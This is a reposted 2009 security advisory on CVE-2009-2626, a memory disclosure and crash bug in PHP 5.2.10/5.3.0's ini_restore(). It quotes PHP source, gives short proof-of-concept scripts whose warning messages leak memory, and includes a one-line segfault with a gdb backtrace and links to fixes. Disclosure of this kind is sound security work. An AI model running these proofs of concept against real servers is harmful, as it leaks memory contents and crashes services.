Bug: PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ( Ascii Version )

Search:
WLB2

PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure

Published
Credit
Risk
2009.08.08
Maksymilian Arciemowicz
High
CWE
CVE
Local
Remote
CWE-Other
CVE-2009-2626
Yes
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.4/10
4.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
None
Partial

[ PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ]

Author: Maksymilian Arciemowicz
Date:
- - Dis.: 10.07.2009
- - Pub.: 06.08.2009

Risk: High

Affected Software:
- - PHP 5.3.0
- - PHP 5.2.10

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique
PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated
pages quickly.

http://lu2.php.net/manual/en/function.ini-restore.php

ini_restore ? Restores the value of a configuration option

ini_restore ( string $varname )

- --- 1. PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ---
The main problem exist in restoring php config environments. To demonstrate the problem, we need to declare variables
via ini_set() function. When we try use ini_restore(), variables in class PG() will indicate any part of memory.

- ---zend_ini.c---
static int zend_restore_ini_entry_cb(zend_ini_entry *ini_entry, int stage TSRMLS_DC) /* {{{ */
{
if (ini_entry->modified) {
if (ini_entry->on_modify) {
zend_try {
/* even if on_modify bails out, we have to continue on with restoring,
since there can be allocated variables that would be freed on MM shutdown
and would lead to memory corruption later ini entry is modified again */
ini_entry->on_modify(ini_entry, ini_entry->orig_value, ini_entry->orig_value_length, ini_entry->mh_arg1,
ini_entry->mh_arg2, ini_entry->mh_arg3, stage TSRMLS_CC);
} zend_end_try();
}
if (ini_entry->value != ini_entry->orig_value) {
efree(ini_entry->value);
}
ini_entry->value = ini_entry->orig_value;
ini_entry->value_length = ini_entry->orig_value_length;
ini_entry->modified = 0;
ini_entry->orig_value = NULL;
ini_entry->orig_value_length = 0;
if (ini_entry->modifiable >= (1 << 3)) {
ini_entry->modifiable >>= 3;
}
}
return 0;
}
- ---zend_ini.c---

Flag modified will be reset, and we can not considered modified variable.
We don't check value of ini_entry->on_modify() and PG() will be now out of memory range.

To demonstrate this issue

- ---example0 (5.2.10/5.3.0)---
127# uname -a && php -v
OpenBSD 127.cxib 4.6 GENERIC#0 i386
PHP 5.2.10 with Suhosin-Patch 0.9.7 (cli) (built: Jul 5 2009 21:43:12)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies
with Suhosin v0.9.27, Copyright (c) 2007, by SektionEins GmbH
127# cat /var/www/www/sess.php
<?php

ini_set("session.save_path", "0123456789ABCDEF");
ini_restore("session.save_path");
session_start();
?>
127# php /var/www/www/sess.php AAA
PHP Warning: session_start(): open($|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No such file or
directory (2) in /var/www/www/sess.php on line 5
PHP Warning: Unknown: open($|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No such file or directory
(2) in Unknown on line 0
PHP Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path
is correct ($|ma: no-cache) in Unknown on line 0
127# php /var/www/www/sess.php
PHP Warning: session_start(): open(^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No such file or
directory (2) in /var/www/www/sess.php on line 5
PHP Warning: Unknown: open(^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No such file or directory
(2) in Unknown on line 0
PHP Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path
is correct (^j|ma: no-cache) in Unknown on line 0
- ---example0 (5.2.10/5.3.0)---

The main problem is started in ini_restore("session.save_path"). To show this issue, we need use some function
with PG() inside (like: session_start()).

- ---example1 (5.3.0)---
127# uname -mrs && php -v
NetBSD 5.0 i386
PHP 5.3.0 (cli) (built: Jul 15 2009 23:47:25)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyrght (c) 1998-2009 Zend Technologies
127# cat /www/file.php
<?php
ini_set("open_basedir", "A");
ini_restore("open_basedir");
ini_get("open_basedir");


include("B");

?>

127# php /www/file.php
PHP Warning: include(): open_basedir restriction in effect. File(B) is not within the allowed path(s):
(4?e&#187;X?p&#187;) in /www/file.php on line 7

Warning: include(): open_basedir restriction in effect. File(B) is not within the allowed path(s):
(4?e&#187;X?p&#187;) in /www/file.php on line 7
PHP Warning: include(B): failed to open stream: Operation not permitted in /www/file.php on line 7

Warning: include(B): failed to open stream: Operation not permitted in /www/file.php on line 7
PHP Warning: include(): Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in /www/file.php on line
7

Warning: include(): Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7

127# curl http://localhost/file.php
<br />
<b>Warning</b>: include() [<a href='function.include'>function.include</a>]: open_basedir
restriction in effect. File(B) is not within the allowed path(s): (?e&#187;Hup&#187;) in
<b>/www/file.php</b> on line <b>7</b><br />
<br />
<b>Warning</b>: include(B) [<a href='function.include'>function.include</a>]: failed to open
stream: Operation not permitted in <b>/www/file.php</b> on line <b>7</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening 'B'
for inclusion (include_path='.:/usr/pkg/lib/php') in <b>/www/file.php</b> on line <b>7</b><br
/>
- ---example1 (5.3.0)---

Variable PG(open_basedir) is now out of range. So any function (like: include()) with

php_error_docref(NULL TSRMLS_CC, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed
path(s): (%s)", path, PG(open_basedir));

will print memory

examples:
- ---
Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed
path(s): (&#169;f&#187;ESSID) in /www/ssij.php on line 8

Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed
path(s): (,?f&#187;aaaaaa) in /www/ssij.php on line 8

Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed
path(s): (?&#172;f&#187;ESSID) in /www/ssij.php on line 8

Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed
path(s): (?e&#187;ef_root) in /www/ssij.php on line 8

Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed
path(s): (4e&#187;r.ini) in /www/ssij.php on line 8
- ---

Variables in class PG, may take any value.
So code such as

if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC))

can be manipulated.

But not only zend_ini.c have issue. When we try use ini_set() and ini_restore() for error_log, php will crash.

Function OnUpdateErrorLog, dosen't check that new_value is empty (null point). It should provide to crash.

- ---main.c---
static PHP_INI_MH(OnUpdateErrorLog)
{
...
/* Only do the safemode/open_basedir check at runtime */
if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS)
&& strcmp(new_value, "syslog")) {
...
- ---main.c---

strcmp(3) will check new_value. So new_value can not be NULL.

here:

STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog, error_log, php_core_globals, co
re_globals)


default error_log is NULL

...("error_log", NULL,...

so if we put some string, and remove it, php should crash

127# php -r 'ini_set("error_log","A");ini_restore("error_log");'
Segmentation fault (core dumped)

127# gdb -q php
(gdb) r -r 'ini_set("error_log","A");ini_restore("error_log");'
Starting program: /usr/local/bin/php -r
'ini_set("error_log","A");ini_restore("error_log");'

Program received signal SIGSEGV, Segmentation fault.
0x288ee410 in strcmp () from /lib/libc.so.7

bt:
#0 0x288ee410 in strcmp () from /lib/libc.so.7
#1 0x081c7b85 in OnUpdateErrorLog (entry=0x28a65a80, new_value=0x0,
new_value_length=3, mh_arg1=0x38, mh_arg2=0x83d5420, mh_arg3=0x0, stage=16)
at /usr/ports/lang/php5/work/php-5.3.0/main/main.c:354
#2 0x0824cb85 in zend_restore_ini_entry_cb (ini_entry=0x28a65a80, stage=16)
at /usr/ports/lang/php5/work/php-5.3.0/Zend/zend_ini.c:55
#3 0x0824d3f5 in zend_restore_ini_entry (name=0x28a1e36c "error_log",
name_length=10, stage=16)
...

Functions like OnUpdateErrorLog, should check, that new_value is not a NULL pointer.

- --- 2. Fix ---
(5.3.0):
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c

(5.2.10):
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c

- --- 3. Greets ---
stas

- --- 4. Contact ---
Author: Maksymilian Arciemowicz


References:

http://lu2.php.net/manual/en/function.ini-restore.php
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version